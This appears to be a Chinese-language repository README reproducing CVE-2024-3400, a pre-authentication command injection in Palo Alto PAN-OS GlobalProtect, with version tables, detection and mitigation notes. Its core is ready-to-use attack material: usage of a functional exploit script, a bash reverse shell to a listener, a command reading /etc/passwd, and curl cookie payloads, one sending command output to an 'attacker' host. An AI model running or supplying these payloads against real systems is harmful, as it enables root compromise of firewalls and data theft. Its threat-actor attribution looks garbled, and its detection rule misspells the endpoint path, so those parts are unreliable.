cve-2024-3400-panos_rce_reproduction的复现
CVSS 10.0 严重 | CWE-78:OS 命令注入 | 已在野外大规模利用
CVE-2024-3400 是 Palo Alto Networks PAN-OS GlobalProtect 门户和网关接口中的一个预认证命令注入漏洞。该漏洞允许未经认证的攻击者在受影响的防火墙上以 root 权限执行任意命令。
该漏洞存在于 GlobalProtect 门户和网关组件的会话 cookie 处理中。负责处理 SESSID cookie 的函数在将用户提供的输入传递给 shell 命令之前,未能正确过滤该输入。
具体来说,向 GlobalProtect 门户端点 (/global-protect/login.esp) 发送一个未认证的 HTTP 请求,其中包含精心构造的、嵌入了 shell 元字符(反引号和变量扩展)的 SESSID cookie,会导致命令注入。
漏洞代码路径的工作方式如下:
/global-protect/login.esp 的请求SESSID cookie 值而未进行过滤system() 或类似的 OS 命令执行函数执行该命令注入 payload 在 SESSID cookie 中使用反引号分隔的命令:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
路径遍历 (/../../../) 跳出预期目录,反引号引用的 COMMAND 部分导致 shell 执行攻击者的输入。可以使用输出重定向或反弹 shell 机制来提取命令结果。
| PAN-OS 版本 | 受影响版本 | 修复版本 |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 | 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
注意: PAN-OS 9.x 及更早版本不受影响。Cloud NGFW 和 Prisma Access 不受影响。
UNC4554 / Midnight Blizzard(APT29)自 2024 年 3 月起被观察到在 0-day 阶段利用 CVE-2024-3400。Volexity 于 2024 年 4 月 12 日发布了分析报告。攻击模式包括:
已发布多个公开的 PoC。本仓库为授权测试提供了一个功能性的漏洞利用程序。
requests 库pip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# 在攻击者机器上启动监听器
nc -lvnp 4444
# 执行反弹 shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# 基本命令执行测试
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# 通过 DNS 外带捕获命令输出
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
请参见本仓库中的 exploit.py,这是一个功能完善的 Python 漏洞利用程序,支持:
/global-protect/login.esp 的请求带有异常长或可疑的 SESSID cookie/../../)和反引号字符的 cookie/opt/panlogs/tmp/device_telemetry/ 且扩展名为 .py 的文件title: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes(阻断漏洞代码路径,无需重启)/opt/panlogs/tmp/device_telemetry/ 目录中是否存在未授权文件SESSID cookie 值应用 Palo Alto Networks 提供的最新热修复。该修复在构造 shell 命令前正确过滤了 cookie 输入。
如果怀疑已被利用:
本仓库仅供授权安全测试和教育目的使用。未经授权利用此漏洞是违法的。作者不对滥用此信息负责。在测试任何系统之前,请确保您拥有明确的书面许可。
MIT 许可证 - 本内容供防御性安全研究和授权测试使用。